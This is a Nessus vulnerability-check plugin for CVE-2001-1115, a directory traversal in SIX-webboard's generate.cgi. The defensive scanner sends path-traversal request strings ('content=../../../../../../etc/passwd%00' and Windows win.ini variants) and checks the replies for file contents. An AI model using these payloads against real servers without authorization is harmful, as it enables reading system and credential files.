CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
EPSS
Percentile
91.9%
The version of the ‘generate.cgi’ from SIX-webboard installed on the remote web server allows an unauthenticated, remote attacker to access arbitrary files with the privileges of the http daemon due to improper validation of user-supplied input to the ‘content’ variable of directory traversal sequences.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if(description)
{
script_id(10725);
script_version("1.32");
script_cve_id("CVE-2001-1115");
script_bugtraq_id(3175);
script_name(english:"SIX-webboard generate.cgi 'content' Parameter Traversal Arbitrary File Access");
script_summary(english:"Checks for the presence of generate.cgi.");
script_set_attribute(attribute:"synopsis",value:
"The remote web server contains a CGI script that allows access to
arbitrary files." );
script_set_attribute(attribute:"description", value:
"The version of the 'generate.cgi' from SIX-webboard installed on the
remote web server allows an unauthenticated, remote attacker to access
arbitrary files with the privileges of the http daemon due to improper
validation of user-supplied input to the 'content' variable of
directory traversal sequences.");
script_set_attribute(
attribute:"see_also",
value:"https://seclists.org/bugtraq/2001/Aug/181"
);
script_set_attribute(
attribute:"solution",
value:"Unknown at this time."
);
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"plugin_publication_date", value: "2001/08/13");
script_set_attribute(attribute:"vuln_publication_date", value: "2001/08/13");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2001-2021 Tenable Network Security, Inc.");
script_family(english:"CGI abuses");
script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
exit(0);
}
#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
flag = 0;
foreach dir (cgi_dirs())
{
cgi = string(dir, "/webboard/generate.cgi");
if (is_cgi_installed3(item:cgi, port:port))flag = 1;
else
{
cgi = string(dir, "/generate.cgi");
if(is_cgi_installed3(item:cgi, port:port)){
flag = 1;
}
}
if (flag) break;
}
if(!flag)exit(0);
# may need to be improved...
w = http_send_recv3(method: "GET", item:string(dir, "/", cgi,
"?content=../../../../../../etc/passwd%00board=board_1"),
port:port);
if (isnull(w)) exit(1, "The web server did not answer");
r = strcat(w[0], w[1], '\r\n', w[2]);
if(egrep(pattern:".*root:.*:0:[01]:.*", string:r))
{
security_warning(port);
exit(0);
}
w = http_send_recv3(method:"GET", item:string(dir, "/", cgi,
"?content=../../../../../../windows/win.ini%00board=board_1"),
port:port);
if (isnull(w)) exit(1, "The web server did not answer");
r = strcat(w[0], w[1], '\r\n', w[2]);
if("[windows]" >< r)
{
security_warning(port);
exit(0);
}
w = http_send_recv3(method:"GET", item:string(dir, "/", cgi,
"?content=../../../../../../winnt/win.ini%00board=board_1"),
port:port);
if (isnull(w)) exit(1, "The web server did not answer.");
r = strcat(w[0], w[1], '\r\n', w[2]);
if("[fonts]" >< r)
{
security_warning(port);
exit(0);
}